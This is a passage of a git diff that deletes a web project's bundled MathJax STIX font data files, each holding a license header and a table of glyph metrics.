-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{773:[820,-770,0,-480,20],777:[751,-492,0,-307,-118],781:[700,-500,0,-250,-195],782:[700,-500,0,-326,-133],783:[678,-507,0,-401,-22],784:[767,-507,0,-373,-92],785:[664,-507,0,-373,-92],786:[745,-502,0,-299,-160],787:[745,-502,0,-299,-160],788:[745,-502,0,-299,-160],789:[745,-502,0,-85,54],790:[-53,224,0,-351,-127],791:[-53,224,0,-371,-147],792:[-53,283,0,-397,-210],793:[-53,283,0,-267,-80],794:[735,-531,0,-380,-80],795:[474,-345,0,-44,51],796:[-71,266,0,-360,-232],797:[-53,240,0,-345,-115],798:[-53,240,0,-345,-115],799:[-53,250,0,-326,-134],800:[-124,168,0,-326,-134],801:[75,287,0,-235,1],802:[75,287,0,-54,182],803:[-118,217,0,-280,-181],804:[-119,218,0,-379,-81],805:[-69,268,0,-329,-130],806:[-110,353,0,-299,-160],807:[0,215,0,-334,-125],808:[0,165,0,-322,-137],809:[-102,234,0,-250,-210],810:[-98,235,0,-385,-73],811:[-110,227,0,-380,-75],812:[-73,240,0,-385,-74],813:[-73,240,0,-385,-74],814:[-68,225,0,-370,-89],815:[-59,216,0,-370,-89],816:[-113,219,0,-395,-65],817:[-141,195,0,-385,-74],818:[-141,191,0,-480,20],819:[-141,300,0,-480,20],820:[320,-214,0,-401,-71],821:[274,-230,0,-384,-78],822:[274,-230,0,-480,20],823:[580,74,0,-380,-41],825:[-71,266,0,-280,-152],826:[-53,190,0,-385,-73],827:[-53,227,0,-313,-147],828:[-65,189,0,-380,-79],829:[715,-525,0,-326,-135],830:[829,-499,0,-283,-177],831:[928,-770,0,-480,20],838:[681,-538,0,-350,-68],844:[777,-532,0,-386,-56],857:[-65,367,0,-357,-87],860:[-76,233,0,-373,295],864:[633,-517,0,-395,365],865:[664,-507,0,-373,295],866:[-65,270,0,-395,355]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiactForSymbols.js
deleted file mode 100644
index 1bb9eb94..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8400:[760,-627,0,-453,-17],8401:[760,-627,0,-453,-17],8402:[662,156,0,-242,-192],8406:[760,-548,0,-453,-17],8411:[622,-523,0,-462,35],8412:[622,-523,0,-600,96],8413:[725,221,0,-723,223],8414:[780,180,0,-730,230],8415:[843,341,0,-840,344],8417:[760,-548,0,-453,25],8420:[1023,155,0,-970,490],8421:[662,156,0,-430,-40],8422:[662,156,0,-335,-102],8423:[725,178,0,-650,166],8424:[-119,218,0,-462,35],8425:[681,-538,0,-480,53],8426:[419,-87,0,-658,118],8427:[756,217,0,-448,193],8428:[-119,252,0,-453,-17],8429:[-119,252,0,-453,-17],8430:[-40,252,0,-453,-17],8431:[-40,252,0,-453,-17],8432:[819,-517,0,-357,-87]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ControlPictures.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ControlPictures.js
deleted file mode 100644
index c0581764..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ControlPictures.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ControlPictures.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{9251:[16,120,500,40,460]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/ControlPictures.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CurrencySymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CurrencySymbols.js
deleted file mode 100644
index a5dbf29f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CurrencySymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/CurrencySymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8355:[662,0,556,11,546],8356:[676,8,500,12,490],8359:[662,10,1182,16,1141],8364:[664,12,500,38,462]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/CurrencySymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Cyrillic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Cyrillic.js
deleted file mode 100644
index 08b8d57f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Cyrillic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Cyrillic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{1025:[872,0,629,22,607],1026:[662,189,756,18,700],1027:[928,0,571,19,544],1028:[676,14,651,38,621],1029:[676,14,556,62,510],1030:[662,0,333,18,315],1031:[872,0,333,25,323],1032:[662,14,373,-6,354],1033:[662,14,988,10,954],1034:[662,0,1017,19,983],1035:[662,0,803,18,786],1036:[928,0,690,19,686],1038:[915,15,711,15,694],1039:[662,153,715,19,696],1040:[674,0,713,9,701],1041:[662,0,611,19,577],1042:[662,0,651,19,595],1043:[662,0,571,19,544],1044:[662,153,665,14,646],1045:[662,0,629,22,607],1046:[676,0,1021,8,1013],1047:[676,14,576,28,545],1048:[662,0,723,19,704],1049:[915,0,723,19,704],1050:[676,0,690,19,686],1051:[662,14,683,9,664],1052:[662,0,893,19,871],1053:[662,0,726,19,704],1054:[676,14,729,36,690],1055:[662,0,724,19,705],1056:[662,0,571,19,535],1057:[676,14,677,36,641],1058:[662,0,618,30,592],1059:[662,15,711,15,694],1060:[662,0,769,38,731],1061:[662,0,716,9,703],1062:[662,153,715,19,696],1063:[662,0,657,3,639],1064:[662,0,994,29,965],1065:[662,153,994,29,965],1066:[662,0,737,13,703],1067:[662,0,884,19,865],1068:[662,0,612,19,578],1069:[676,14,651,30,613],1070:[676,14,902,19,863],1071:[662,0,637,3,618],1072:[460,10,450,37,446],1073:[685,10,507,39,478],1074:[450,0,474,24,438],1075:[450,0,394,17,387],1076:[450,137,462,14,439],1077:[460,10,466,38,437],1078:[456,0,721,14,707],1079:[460,10,390,14,357],1080:[450,0,525,23,502],1081:[704,0,525,23,502],1082:[456,0,503,23,495],1083:[450,10,499,8,476],1084:[450,0,617,23,594],1085:[450,0,525,23,502],1086:[460,10,512,35,476],1087:[450,0,525,23,502],1088:[460,217,499,-2,463],1089:[460,10,456,41,428],1090:[450,0,434,8,426],1091:[450,218,491,8,483],1092:[662,217,678,43,635],1093:[450,0,489,14,476],1094:[450,137,525,23,502],1095:[450,0,512,18,489],1096:[450,0,768,23,745],1097:[450,137,768,23,745],1098:[450,0,539,8,507],1099:[450,0,670,23,646],1100:[450,0,457,23,425],1101:[460,10,444,14,410],1102:[460,10,738,23,703],1103:[450,0,471,4,448],1105:[622,10,466,38,437],1106:[683,218,512,6,439],1107:[679,0,394,17,387],1108:[460,10,444,34,430],1109:[459,10,389,49,346],1110:[683,0,278,29,266],1111:[622,0,278,1,299],1112:[683,218,278,-77,187],1113:[450,10,702,8,670],1114:[450,0,721,23,689],1115:[683,0,512,6,499],1116:[679,0,503,23,495],1118:[704,218,491,8,483],1119:[450,137,518,23,495],1122:[662,0,746,26,713],1123:[683,0,539,8,507],1130:[662,0,998,6,992],1131:[450,0,722,14,708],1138:[676,14,729,36,690],1139:[460,10,512,35,476],1140:[676,11,766,16,760],1141:[456,14,539,19,532],1168:[803,0,571,19,544],1169:[558,0,394,17,387]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Cyrillic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Dingbats.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Dingbats.js
deleted file mode 100644
index 0d3296fd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Dingbats.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Dingbats.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{9986:[612,-82,961,35,905],9993:[555,-138,690,34,638],10003:[707,12,755,34,704],10016:[592,87,767,53,714],10026:[613,106,789,35,733],10038:[616,108,695,35,642],10045:[612,108,682,35,626],10098:[719,213,488,188,466],10099:[719,213,488,22,300],10112:[705,14,788,35,733],10113:[705,14,788,35,733],10114:[705,14,788,35,733],10115:[705,14,788,35,733],10116:[705,14,788,35,733],10117:[705,14,788,35,733],10118:[705,14,788,35,733],10119:[705,14,788,35,733],10120:[705,14,788,35,733],10121:[705,14,788,35,733],10122:[705,14,788,35,733],10123:[705,14,788,35,733],10124:[705,14,788,35,733],10125:[705,14,788,35,733],10126:[705,14,788,35,733],10127:[705,14,788,35,733],10128:[705,14,788,35,733],10129:[705,14,788,35,733],10130:[705,14,788,35,733],10131:[705,14,788,35,733],10139:[433,-70,918,35,861]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Dingbats.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/EnclosedAlphanum.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/EnclosedAlphanum.js
deleted file mode 100644
index 87a5b75c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Fraktur.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Fraktur.js
deleted file mode 100644
index 8852471c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Fraktur.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Fraktur.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeneralPunctuation.js
deleted file mode 100644
index 2d86103e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeometricShapes.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeometricShapes.js
deleted file mode 100644
index 8de5abd4..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekAndCoptic.js
deleted file mode 100644
index 23e7f2db..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{894:[459,141,278,80,219],900:[662,-507,277,113,240],901:[662,-507,333,18,316],902:[683,0,722,15,707],903:[459,-348,278,81,192],904:[683,0,750,8,737],905:[683,0,850,8,836],906:[683,0,470,8,449],908:[683,14,722,8,688],910:[683,0,840,8,818],911:[683,0,744,8,715],912:[662,10,340,18,316],913:[674,0,722,15,707],914:[662,0,667,17,593],917:[662,0,611,12,597],918:[662,0,612,10,598],919:[662,0,722,18,703],921:[662,0,333,18,315],922:[662,0,731,33,723],924:[662,0,889,12,864],925:[662,11,722,12,707],927:[676,14,722,34,688],929:[662,0,557,16,542],932:[662,0,611,17,593],935:[662,0,722,10,704],938:[873,0,333,18,316],939:[873,0,722,29,703],940:[662,10,543,29,529],941:[662,10,439,25,407],942:[662,217,512,10,452],943:[662,10,275,20,267],944:[662,10,524,16,494],945:[460,10,543,29,529],946:[683,217,496,55,466],947:[457,218,474,10,444],948:[683,10,500,29,470],949:[460,10,439,25,407],950:[683,218,441,35,407],951:[460,217,512,10,452],952:[683,10,496,27,468],953:[460,10,275,20,267],954:[460,0,500,7,503],955:[683,11,497,12,492],956:[450,217,528,55,516],957:[460,14,455,20,443],958:[683,218,441,35,407],959:[460,10,505,35,473],960:[450,14,501,9,482],961:[460,217,496,55,466],962:[460,218,441,35,432],963:[450,10,548,29,518],964:[450,10,477,3,442],965:[460,10,524,16,494],966:[460,217,623,29,593],967:[460,220,500,11,486],968:[460,217,694,20,684],969:[460,10,625,29,595],970:[622,10,340,18,316],971:[622,10,524,16,494],972:[662,10,505,35,473],973:[662,10,524,16,494],974:[662,10,625,29,595],976:[693,10,450,54,411],977:[683,10,554,0,544],978:[676,0,722,29,698],981:[683,217,623,29,593],982:[450,10,762,6,726],984:[676,217,722,34,688],985:[460,217,500,29,470],986:[676,218,667,28,622],987:[490,218,461,35,436],988:[662,0,556,11,546],989:[450,190,470,80,435],990:[797,14,703,13,678],991:[662,0,511,64,455],992:[676,218,801,11,767],993:[573,216,528,-6,487],1008:[460,10,551,42,515],1009:[460,215,500,29,470],1012:[676,14,722,34,688],1013:[460,10,439,25,407],1014:[460,10,444,32,414]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBold.js
deleted file mode 100644
index 331ce88a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120488:[690,0,735,9,689],120489:[676,0,667,16,619],120490:[676,0,620,16,593],120491:[690,0,691,16,656],120492:[676,0,679,16,641],120493:[676,0,693,28,634],120494:[676,0,810,21,759],120495:[692,18,778,35,743],120496:[676,0,421,20,370],120497:[676,0,820,30,769],120498:[690,0,707,9,674],120499:[676,0,972,14,921],120500:[676,18,722,16,701],120501:[676,0,623,28,595],120502:[691,19,778,35,743],120503:[676,0,780,21,759],120504:[676,0,611,16,600],120505:[692,18,778,35,743],120506:[676,0,665,14,627],120507:[676,0,667,31,636],120508:[692,0,722,3,699],120509:[676,0,836,18,818],120510:[676,0,747,16,699],120511:[692,0,800,3,785],120512:[692,0,778,35,723],120513:[676,14,691,16,656],120514:[473,14,644,25,618],120515:[692,205,556,45,524],120516:[473,205,518,12,501],120517:[692,14,502,26,477],120518:[473,14,444,28,429],120519:[692,205,459,23,437],120520:[473,205,580,12,545],120521:[692,14,501,25,476],120522:[461,14,326,15,304],120523:[473,0,581,21,559],120524:[692,18,546,19,527],120525:[461,205,610,45,588],120526:[473,14,518,15,495],120527:[692,205,465,23,439],120528:[473,14,500,25,476],120529:[461,18,631,20,609],120530:[473,205,547,45,515],120531:[473,203,464,23,444],120532:[461,14,568,25,529],120533:[461,14,492,18,457],120534:[473,14,576,12,551],120535:[473,205,653,24,629],120536:[473,205,612,21,586],120537:[473,205,763,12,751],120538:[473,14,734,26,708],120539:[707,14,515,25,491],120540:[473,14,444,25,430],120541:[692,14,647,12,620],120542:[473,19,563,12,546],120543:[676,205,653,24,629],120544:[473,205,511,25,486],120545:[461,14,864,9,851]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/GreekBold.js");
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBoldItalic.js
deleted file mode 100644
index 5439e0fc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekItalic.js
deleted file mode 100644
index dda0f258..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBold.js
deleted file mode 100644
index dd88443a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120662:[690,0,690,25,665],120663:[676,0,636,80,594],120664:[676,0,591,80,569],120665:[690,0,720,40,680],120666:[676,0,635,80,597],120667:[676,0,653,25,623],120668:[676,0,715,80,635],120669:[691,19,778,35,743],120670:[676,0,440,65,375],120671:[676,0,712,80,707],120672:[690,0,706,40,666],120673:[676,0,913,80,833],120674:[676,18,724,80,644],120675:[676,0,640,35,605],120676:[692,18,778,35,743],120677:[676,0,715,80,635],120678:[676,0,581,80,569],120679:[691,19,778,35,743],120680:[676,0,674,28,632],120681:[676,0,641,14,627],120682:[691,0,748,20,728],120683:[676,0,800,25,775],120684:[676,0,740,40,700],120685:[691,0,806,15,791],120686:[691,0,752,32,720],120687:[664,30,735,45,685],120688:[473,14,662,40,629],120689:[692,205,512,39,487],120690:[473,205,502,10,477],120691:[692,14,502,25,477],120692:[473,14,451,25,434],120693:[692,205,500,28,488],120694:[473,205,510,35,474],120695:[692,14,500,23,477],120696:[461,14,319,53,296],120697:[473,0,527,55,512],120698:[692,14,554,18,520],120699:[461,205,550,39,517],120700:[473,14,492,55,472],120701:[692,205,501,28,489],120702:[473,14,501,25,476],120703:[461,14,594,10,572],120704:[473,205,511,38,486],120705:[473,205,498,26,486],120706:[461,14,520,25,552],120707:[461,14,479,6,472],120708:[473,14,514,35,489],120709:[473,205,634,25,609],120710:[473,205,573,9,553],120711:[473,205,680,25,699],120712:[461,14,740,42,689],120713:[691,14,501,25,476],120714:[473,14,462,25,440],120715:[692,14,536,35,522],120716:[473,14,570,14,554],120717:[692,205,634,25,609],120718:[473,205,494,25,469],120719:[461,14,848,6,839]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/GreekSSBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBoldItalic.js
deleted file mode 100644
index f404eeb1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/GreekSSBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120720:[690,0,690,25,665],120721:[676,0,706,60,671],120722:[676,0,602,60,705],120723:[690,0,720,40,680],120724:[676,0,683,60,708],120725:[676,0,707,25,769],120726:[676,0,748,60,783],120727:[691,19,847,90,822],120728:[676,0,435,50,505],120729:[676,0,712,60,796],120730:[690,0,686,20,646],120731:[676,0,933,60,981],120732:[676,18,744,60,792],120733:[676,0,690,47,737],120734:[692,18,849,90,824],120735:[676,0,745,60,783],120736:[676,0,581,60,675],120737:[691,19,847,90,822],120738:[676,0,696,21,748],120739:[676,0,641,87,715],120740:[691,0,671,91,799],120741:[676,0,835,72,835],120742:[676,0,740,20,833],120743:[691,0,791,125,901],120744:[691,0,816,47,816],120745:[664,30,780,120,760],120746:[473,14,678,47,703],120747:[692,205,552,-12,581],120748:[473,204,525,84,571],120749:[692,14,507,30,547],120750:[473,14,504,45,508],120751:[692,205,480,49,539],120752:[473,205,532,38,525],120753:[692,14,560,65,553],120754:[462,14,325,56,302],120755:[473,0,537,38,582],120756:[692,14,574,18,540],120757:[462,205,594,-12,569],120758:[473,14,525,41,565],120759:[692,205,481,43,525],120760:[473,14,543,45,515],120761:[462,14,632,45,656],120762:[473,205,560,-33,536],120763:[473,205,517,52,554],120764:[462,14,614,45,639],120765:[462,14,523,42,547],120766:[473,14,550,61,526],120767:[473,205,683,55,659],120768:[473,205,575,-80,626],120769:[473,205,703,75,751],120770:[461,14,756,64,732],120771:[691,14,548,45,539],120772:[473,14,468,45,470],120773:[692,14,579,54,579],120774:[473,10,646,-10,665],120775:[692,205,678,48,654],120776:[473,205,544,38,520],120777:[462,14,889,40,912]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/GreekSSBoldItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Hiragana.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Hiragana.js
deleted file mode 100644
index aab70e8f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Hiragana.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Hiragana.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{12398:[661,41,901,37,840]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Hiragana.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js
deleted file mode 100644
index 1493520b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
